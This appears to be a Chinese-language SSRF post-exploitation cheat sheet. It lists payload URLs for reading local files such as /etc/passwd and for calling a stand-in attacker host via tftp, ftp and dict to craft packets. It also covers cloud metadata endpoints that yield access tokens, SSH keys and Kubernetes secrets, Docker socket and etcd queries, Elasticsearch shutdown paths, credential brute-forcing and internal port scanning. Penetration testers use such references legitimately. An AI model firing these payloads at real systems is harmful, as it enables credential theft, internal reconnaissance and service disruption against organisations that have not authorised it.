后渗透利用
滥用 URL 方案
访问本地文件
您可以使用 file
方案来获取服务器上文件的内容:
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
制作 TCP 数据包
您可以使用 ldap
、git
或 dict
URL 方案来创建到基于 TCP 的服务的明文连接。
$ curl -v dict://127.0.0.1:1337/HELLO
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
$ nc -l -v 1337
CLIENT libcurl 7.64.1
HELLO
QUIT
制作 UDP 数据包
您可以通过使用 TFTP 协议发送几乎任意的 UDP 数据包。
tftp://attacker-website.com:1337/TESTUDPPACKET
$ nc -l -v -u 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout6
这可用于制作对各种 UDP 服务的请求,如 Memcached。
Java 目录列表
Java 通过 file://
方案列出目录,以下代码将打印目录列表:
URL url = new URL("file:///etc/");
String data = new String(IOUtils.toByteArray(url));
System.out.println(data);
参考:
泄露内部域名
当连接到 SMTP 时,内部域名可能会从第一行泄露。为此,连接到 http://127.0.0.1:25
或一些带有 SMTP 可用的内部 IP 地址 http://10.0.0.6:25
,并从第一行获取内部域名:220 subdomain.internal-host.com ESMTP Sendmail
TLS 字段注入
TLS 允许您在服务器名称指示或会话 ID 等字段中走私任意数据。您可以使用此方法将 payload 传递到 http/基于文本的服务。
参考:
检索协议版本
您可以通过向您的服务器发送请求来枚举不同协议的版本。
ftp://attacker-website.com
sftp://attacker-website.com:1337
dict://attacker-website.com:1337
$ nc -v -l 1337
Connection from [12.234.12.234] port 1337 [tcp/*] accepted (family 2, sport 31337)
SSH-2.0-libssh2_0.1.2
滥用 Gopher
Gopher 是一种为分发、搜索和检索文档而设计的通信协议。Gopher 提供了广泛的滥用选项,参见更多。
滥用云元数据
Amazon Web Services
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.170.2/v2/metadata
http://169.254.170.2/v2/stats
http://169.254.170.2/v2/credentials/
参考:
Google Cloud
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google 允许递归拉取
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=json
# SSH 公钥
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys?alt=json
# 访问令牌
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Kubernetes 密钥
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json
参考:
Microsoft Azure
http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/instance?api-version=2018-10-01
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2018-10-01&format=text
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
DigitalOcean
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
Packet Cloud
https://metadata.packet.net/metadata
阿里云
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
OpenStack
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2018-08-27/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
http://169.254.169.254/openstack/2018-08-27/user_data
# EC2 兼容元数据
http://169.254.169.254/2009-04-04/meta-data/
http://169.254.169.254/2009-04-04/meta-data/public-keys/
http://169.254.169.254/2009-04-04/meta-data/public-keys/0/openssh-key
Oracle Cloud
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
http://169.254.169.254/opc/v1/instance/
Docker
Docker Engine API 通常在端口 2375
和 2376
(tls)上可用。您可以使用以下路径来验证 Docker Engine API 的存在:
/v1.40/info
/v1.40/containers/json
/v1.40/secrets
/v1.40/services
# 使用不带版本前缀的 API 已弃用,将在未来版本中移除
/containers/json
/secrets
/services
与 dockerd 交互的简单示例(另请参见:守护进程套接字选项):
$ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Docker 注册表
Docker 注册表通常在端口 5000
上可用。Docker 注册表可以获取对存储在容器镜像中的敏感信息的读取权限和/或修改存储的容器镜像。
对于枚举仓库/镜像,请注意以下工具:
reg - Docker 注册表 v2 命令行客户端和仓库列表生成器,具有安全检查功能
regclient - Docker 和 OCI 注册表客户端,以及使用这些库的工具
go-pillage-registries - 面向渗透测试者的 Docker 注册表工具,用于枚举和拉取镜像
Kubernetes
# 调试服务 https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics
Kubernetes etcd API 可以包含 API 密钥、内部 IP 和端口:
$ curl -L http://127.0.0.1:2379/version
$ curl http://127.0.0.1:2379/v2/keys/?recursive=true
kubelet
kubelet 通常在默认端口 10250
上可用。
kubelet 只读
kubelet 只读通常在默认端口 10255
上可用。此端口通常只在较旧的集群上看到,但如果存在,可以提供一些有用的信息泄露。它是一个 HTTP API,没有加密且没有身份验证要求,因此很容易与之交互。
最有用的端点是 /pods/
:
$ curl http://[IP]:10255/pods/ | jq
滥用 FTP
凭证暴力破解
SSRF 允许您对使用基本访问认证作为认证机制的资源进行凭证暴力破解。为此,只需使用以下链接:
http://login:[email protected]/path/
使用异常响应枚举内部资源
有时在使用 SSRF 时,您可以依靠异常响应,如果请求执行的响应对您不可用。为此,您需要访问内部资源并测量每个请求的响应时间。响应时间是可能表示资源可用性的间接标志。发送大量请求后,您需要在其中搜索响应时间与其他所有请求不同的那些请求。这种方法允许您盲目暴力破解内部服务、开放端口、目录和文件。
端口扫描
您可以使用 http
方案进行端口扫描:
http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379
使用 DNS 进行端口扫描
许多库尝试按照 DNS 记录中的顺序通过 IP 访问资源。例如,如果 DNS 记录如下所示:
site.com 172.16.1.1
site.com 172.16.1.2
首先将尝试连接到 172.16.1.1
,如果出现问题,则连接到 172.16.1.2
。这允许您找出哪些端口是开放的,哪些不是。
为此,您也可以使用服务 http://1u.ms。例如,如果您需要查找 127.0.0.1
上的可用端口,您可以使用
make-127-0-0-1-and-123-123-123-123rr.1u.ms
这将允许您更改端口号以确定哪个端口可用。
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:22 - 请求未到达 123.123.123.123:22
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:80 - 请求到达 123.123.123.123:80
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:6379 - 请求未到达 123.123.123.123:6379
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:8080 - 请求到达 123.123.123.123:8080
这表明端口 22
和 6379
在 127.0.0.1
上是开放的,因为没有对来自第二个 DNS 记录的 IP 地址的连接尝试。
值得注意的是 DNS 服务器在后端解析名称。DNS 服务器可以使用内置的轮询算法来解析域名并更改记录顺序
ASP.NET
尝试读取 trace.axd
,它保留对应用程序发出的所有 HTTP 请求的日志。此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息,甚至可能包括用户名和密码。
Apache Druid
Apache Druid 通常在端口 80
、8080
、8888
和 8082
上可用。您可以使用以下路径来验证 Apache Druid 的存在:
/status
/status/health
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
Apache Solr
Apache Solr 通常在端口 8983
上可用。
Apache Struts
Apache Struts 通常在端口 80
、443
(tls)、8080
、8443
(tls)上可用。
Apache Tomcat
Apache Tomcat 通常在端口 80
、443
(tls)、8080
、8443
(tls)上可用。
HashiCorp Consul
Consul 通常在端口 8500
和 8501
(tls)上可用。
Elasticsearch
Elasticsearch 通常在端口 9200
上可用。您可以使用以下路径来验证 Elasticsearch 的存在:
/_cluster/health
/_cat/indices
/_cat/health
如果您可以发送 POST 请求,您可以尝试通过向以下路径发送 POST 请求来关闭 Elasticsearch 实例:
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
# 从 Elasticsearch 版本 2.x 及更高版本中移除
/_shutdown
Java RMI
Java RMI 通常在端口 1090
、1098
、1099
、1199
、4443-4446
、8999-9010
、9999
上可用。允许任意字节的 SSRF 漏洞可用于对 Java RMI 默认组件执行反序列化或代码库攻击。
JBoss
Jboss 通常在端口 80
、443
(tls)、8080
、8443
(tls)上可用。
Jenkins
Jenkins 通常在端口 80
、443
(tls)、8080
、8888
上可用。
Memcache
Memcache 通常在端口 11211
上可用。
OpenTSDB
OpenTSDB 通常在端口 4242
上可用。
Oracle PeopleSoft
PeopleSoft 通常在端口 80
和 443
(tls)上可用。
Oracle WebLogic
WebLogic 通常在端口 80
、443
(tls)和 7001
上可用。您可以尝试利用已知的漏洞:
Redis
Redis 通常在端口 6379
上可用。
远程调试器
参考
最后更新于